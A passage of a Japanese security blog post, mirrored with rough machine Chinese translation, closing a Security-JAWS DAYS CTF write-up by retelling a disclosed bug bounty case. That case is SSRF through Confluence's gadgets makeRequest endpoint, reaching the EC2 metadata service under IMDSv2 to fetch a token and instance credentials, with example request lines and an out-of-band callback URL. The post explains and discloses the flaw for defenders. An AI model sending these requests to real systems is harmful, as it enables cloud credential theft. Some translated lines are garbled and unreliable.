今回の CTF では、IMDSv2 を利用した問題は出題しませんでしたが、以下に IMDSv2 における実際にあった SSRF 攻撃の事例を少し紹介します。

IMDSv2 が有効な場合における SSRF

EC2 で IMDSv2 が有効な場合でも SSRF 攻撃が行える可能性があります。

以下は、実際にバグバウンティであった事例になります。 (公開:2022年4月28日)

まず、Atlassian Confluence インスタンスが動く以下のようなエンドポイントで SSRF が行える箇所があります。

POST /plugins/servlet/gadgets/makeRequest?url=http://03jve28sg5djvfbj9f00xzjogz.burpcollaborator.net/ HTTP/1.1
Host: confluence.dev.████████.com
 ...

Security-JAWS DAYS 参加記&CTF作問者解説

次に内部ポートに対して SSRF を行うと以下のように nginx のデフォルトページが得られます。

  • 127.0.0.1:80

Security-JAWS DAYS 参加記&CTF作問者解説

また、127.0.0.1:5000 に対して SSRF を行うと、以下のように Confluence インスタンスが動いていることが確認できます。

Security-JAWS DAYS 参加記&CTF作問者解説

ここで 169.254.169.254メタデータサーバーに対して SSRF を行うと、401 - unauthorized で IMDSv2 が有効に機能されています。

Security-JAWS DAYS 参加記&CTF作問者解説

IMDSv2 にアクセスするには、以下の点が必要です。
要访问 IMDSv2,您需要以下各项:

今回の場合、Atlassian Confluence の内部で動いている API に任意のヘッダー付きでリクエストすることが可能だったため、IMDSv2 のリクエストする際の条件でアクセスすることが可能でした。
在这种情况下,可以使用任意标头请求在 Atlassian Confluence 中运行的 API,因此可以在 IMDSv2 请求条件下访问它。

Atlassian gadgets use the new Google gadgets.* API defined by the OpenSocial specification so to load dynamic data into the gadget, you will make Ajax calls using gadgets.io.makeRequest() to the remote server – it appears this endpoint takes in various other parameters such as: httpmethod, postData and headers to name a few.
Atlassian 小工具使用由 OpenSocial 规范定义的新 Google gadgets.* API,因此要将动态数据加载到小工具中,您将使用 gadgets.io.makeRequest() 对远程服务器进行 Ajax 调用 – 看起来这个端点接受各种其他参数,例如:httpmethod、postData 和标头等等。

まずは、トークンを取得するために SSRF でhttp://169.254.169.254/latest/api/token にアクセスして得ます。
首先,访问 SSRF http://169.254.169.254/latest/api/token 以获取令牌。

Security-JAWS DAYS 参加記&CTF作問者解説

これで IMDSv2 にアクセスするために必要なトークンを取得することができました。
您现在拥有访问 IMDSv2 所需的令牌。

これを活用して http://169.254.169.254/latest/meta-data にアクセスします。
http://169.254.169.254/latest/meta-data 利用这一点来访问 .

POST /plugins/servlet/gadgets/makeRequest HTTP/1.1
Host: confluence.dev.████████.com
 ...

url=http://169.254.169.254/latest/meta-data&httpMethod=GET&headers=X-aws-ec2-metadata-token=AQAEAH7TsExwreOTsHbZjebiYB7ypANA_l6JycUp2g0hDYNN9-kucA==

しかし、これでは 401 でアクセスできず、原因としてトークンが Base64 されていて == があるためです。
但是,这在 中无法访问 401 ,因为令牌是 Base64 == 。

これを回避する方法として、以下のような「二重 URL エンコード」によって可能となります。
避免这种情况的一种方法是使用“双 URL 编码”,如下所示:

Security-JAWS DAYS 参加記&CTF作問者解説

これで IMDSv2 からメタデータにアクセスすることができました。
您现在可以从 IMDSv2 访问元数据。

さらにメタデータサーバーを調査すると、/latest/user-data に以下の認証情報がハードコードされていました。
此外,在检查元数据服务器时, /latest/user-data 以下凭据是硬编码的:

  • Confluence インスタンスのインストールとデプロイを自動化するために使用される bash スクリプト
    用于自动安装和部署 Confluence 实例的 Bash 脚本

Security-JAWS DAYS 参加記&CTF作問者解説

また、/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance から EC2 に付与されたクレデンシャルも取得できました。
您还可以 /latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance 从 获取授予 EC2 的凭证。

Security-JAWS DAYS 参加記&CTF作問者解説

これらの情報が IMDSv2 が有効な状態でも、実際に SSRF によって内部で動く API を調査したり上手く悪用することでクレデンシャルを取得することが可能でした。
即使启用了 IMDSv2,也可以通过调查并成功利用 SSRF 实际在内部运行的 API 来获取凭据。

このように IMDSv2 が有効だからといって完璧に SSRF を防げるわけではないため(可能性として0にはならない)、根本的な対策として Web アプリケーション側のセキュリティ対策を徹底することをお勧めします。
由于以这种方式启用 IMDSv2 不会完全阻止 SSRF(并且可能为零),因此建议您在 Web 应用程序端实施安全措施作为基本措施。

詳しくは、以下をご覧ください。 有关详细信息,请参阅:

www.yassineaboukir.com

https://jira.atlassian.com/browse/JRASERVER-69793

https://jira.atlassian.com/browse/CONFSERVER-55981

https://jira.atlassian.com/browse/JRASERVER-71204

5.3 他の作問メンバーの解説 5.3 其他成员的评论

他の作問者の問題では、S3 ・ Lambda・AWS WAFなどの AWS サービスを取り入れた問題があります。こちらもぜひご覧ください。
另一个提问者的问题涉及整合 AWS 服务,如 S3、Lambda 和 AWS WAF。 也请看一下这个。

speakerdeck.com

公開され次第、追加します。 我们将在发布后立即添加更多内容。

5.4 参加者の解説記事 5.4 参与者评论

解説記事を書いていただき、ありがとうございました!
感谢您撰写评论文章!

ken5scal.notion.site ken5scal.notion.site

rikoteki.hatenablog.com

dev.classmethod.jp

他にも見つけ次第、追加させていただきます。 我们会在找到后立即添加更多。

6. 終わりに 6. 结论

本稿では、先日の8/26,27に開催された Security-JAWS DAYS の参加記と AWS セキュリティに因んで作成した CTF の問題解説を紹介しました。
在本文中,我们介绍了 8 月 26 日和 27 日举行的 Security-JAWS DAYS 的参与报告,以及为纪念 AWS 安全性而创建的 CTF 的问题描述。

また、過去にいくつか Cloud に関する CTF のまとめ記事を書いているので、よければこちらもご覧ください。
我过去也写过几篇关于云的CTF综述,所以请看这里。

scgajge12.hatenablog.com

scgajge12.hatenablog.com

ここまでお読みいただきありがとうございました。 感谢您阅读本文。

また、運営の方、作問者の方、参加して解いていただけた方、ありがとうございました!
另外,感谢组织者,创作者以及参与并解决问题的人!

原文始发于hatenablog:Security-JAWS DAYS 参加記&CTF作問者解説

版权声明:admin 发表于 2023年9月1日 上午9:28。
转载请注明:Security-JAWS DAYS 参加記&CTF作問者解説 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...